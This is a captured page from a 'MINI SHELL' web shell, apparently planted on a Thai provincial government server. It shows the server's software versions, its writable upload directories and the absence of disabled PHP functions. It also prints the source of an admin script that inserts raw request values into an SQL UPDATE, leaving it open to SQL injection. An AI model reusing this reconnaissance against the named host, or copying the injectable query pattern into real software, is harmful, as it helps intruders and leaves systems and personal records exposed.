MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/pdir/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/pdir/admin/officer_edit.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<? 
	echo "<center><br> ";
	if ( trim($title) =="" ) { echo "กรุณา้กรอกคำนำหน้า<br>"; ?>
<? }
	if ( trim($th_name) =="" ) { echo "กรุณา้กรอกชื่อ<br>"; ?>
<? }
	if ( trim($th_sname) =="" ) { echo "กรุณากรอกนามสกุล<br>";  ?>
<? }
	if ( trim($position) =="" ) { echo "กรุณากรอกตำแหน่ง<br>"; 
	echo "<a href='#' onclick = history.go(-1);>ย้อนกลับ</a>"; die; 
	echo "</center>";	?>
<? } 

 include ("../../../inc/conndb.inc.php");
 $sql = " UPDATE officer SET  title = '$title',  th_name = '$th_name',  th_sname = '$th_sname',  position = '$position',  office_id = '$office_id',  ";
$sql = $sql. "  email = '$email',  office_tel = '$office_tel',  home_tel = '$home_tel',  mobile = '$mobile' , groupid = '$group1' ";
$sql = $sql . "   WHERE officer.ID = '$id'  " ;
//echo $sql;
//die;
$query_result = mysql_db_query($dbname,$sql);			
//=================================================================
?>
<script  language="javascript">
//function updateManiPage(){
	opener.document.location.reload();	
    window.close();
//}
</script>
 
</head>
<body>

</body>
</html>

Anon7 - 2021